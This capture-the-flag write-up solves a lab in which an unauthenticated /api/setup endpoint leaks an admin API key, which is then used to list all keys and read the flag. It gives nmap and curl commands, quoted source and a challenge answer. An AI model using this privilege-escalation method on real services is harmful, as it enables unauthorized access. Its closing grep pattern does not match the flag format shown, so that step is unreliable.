MCTF{...}10.240.2.2110.240.3.79control-api/ – Node.js backendfront-end/ – Flask frontendGoal: obtain the flag from a “secured” backend API.
First, scan all ports on both hosts:
nmap -sV -p- 10.240.2.21 10.240.3.79
Result (simplified):
10.240.2.21:80 – http (Node.js / Express)10.240.3.79 – no useful open HTTP serviceCheck what’s running on port 80 of the live host:
curl http://10.240.2.21/
Output:
{"message":"Welcome to the Random Data API!","instructions":"Provide an API key in the "Authorization" header to access data."}
So 10.240.2.21 is the Random Data API / control-api backend.
From the provided source code:
The Node.js backend keeps API keys in memory:
const apiKeys = new Map();
On startup it creates three keys:
apiKeys.set(mintApiKey('user', 1, 'Standard User'), {
id: 1,
role: 'user',
name: 'Standard User'
});
apiKeys.set(mintApiKey('admin', 2, 'Administrator'), {
id: 2,
role: 'admin',
name: 'Administrator'
});
apiKeys.set(mintApiKey('flag', 3, env.FLAG_NAME || 'MCTF25{t35t_fl4g}'), {
id: 3,
role: 'admin',
name: env.FLAG_NAME || 'MCTF25{t35t_fl4g}'
});
Key observations:
id = 3) whose name is the flag.Bearer token:
Authorization: Bearer <apiKey>
Relevant routes:
GET / # public
POST /api/identify # requires any valid key (user or admin)
GET /api/admin/keys # requires admin key
GET /api/setup # NO AUTH (one-time setup)
Admin keys listing:
app.get('/api/admin/keys', apiKeyAuth, requireAdmin, (req, res) => {
const keysList = Array.from(apiKeys.entries()).map(([key, details]) => ({
apiKey: key,
...details
}));
res.json({
message: 'List of all registered API keys.',
keys: keysList
});
});
This endpoint dumps all API keys and their metadata (including the flag account).
The suspicious part is /api/setup:
let admin_key_queried = false;
app.get('/api/setup', (req, res) => {
if (admin_key_queried) {
return res.status(403).json({ error: 'You snooze, you lose.' });
}
admin_key_queried = true;
res.json({
message: 'Setup complete. Admin key has been queried.',
adminKey: Array.from(apiKeys.entries())
.find(([key, details]) => details.role === 'admin')[0]
});
});
This is effectively a backdoor:
"You snooze, you lose.".The Flask frontend, on startup, does:
resp = requests.get(f'{CONTROL_API_URL}/setup')
API_KEY = resp.json().get('adminKey')
Then it uses this admin key server-side to call /api/identify. It never exposes the admin key to users, but it does consume /api/setup once at startup.
On some instances, if the frontend hits /api/setup before you, you’ll see the “You snooze, you lose” error and need to reset the challenge.
Type: Insecure, unauthenticated “setup” endpoint → trivial privilege escalation.
/api/setup is publicly reachable and unauthenticated./api/admin/keys./api/admin/keys lists all keys and their metadata, including the flag (stored as the name of the special flag key).We do not need to break PBKDF2, bypass the frontend, or exploit file uploads; just talk directly to the backend.
Assume the control API is at 10.240.2.21.
/api/setupCall /api/setup once and save the result:
curl -s http://10.240.2.21/api/setup -o setup.json
cat setup.json
Example output:
{"message":"Setup complete. Admin key has been queried.","adminKey":"3aada98098d30d2a70d3d5eab640b949"}
Set the admin key:
ADMIN_KEY="3aada98098d30d2a70d3d5eab640b949"
echo "$ADMIN_KEY"
If you instead get:
{"error":"You snooze, you lose."}then
/api/setuphas already been used (e.g. by the frontend).
In that case, reset / restart the challenge instance and retry.
Use the obtained admin key to call the admin endpoint:
curl -s -H "Authorization: Bearer $ADMIN_KEY" http://10.240.2.21/api/admin/keys | tee keys.json
Example structure:
{
"message": "List of all registered API keys.",
"keys": [
{
"apiKey": "....",
"id": 1,
"role": "user",
"name": "Standard User"
},
{
"apiKey": "....",
"id": 2,
"role": "admin",
"name": "Administrator"
},
{
"apiKey": "....",
"id": 3,
"role": "admin",
"name": "MCTF25{th15_5hift5_3v3rYth1ng}"
}
]
}
To extract just the flag:
grep -o 'MCTF{[^"]*}' keys.json
Output:
```text MCTF25{th15_5hift5_3v3rYth1ng}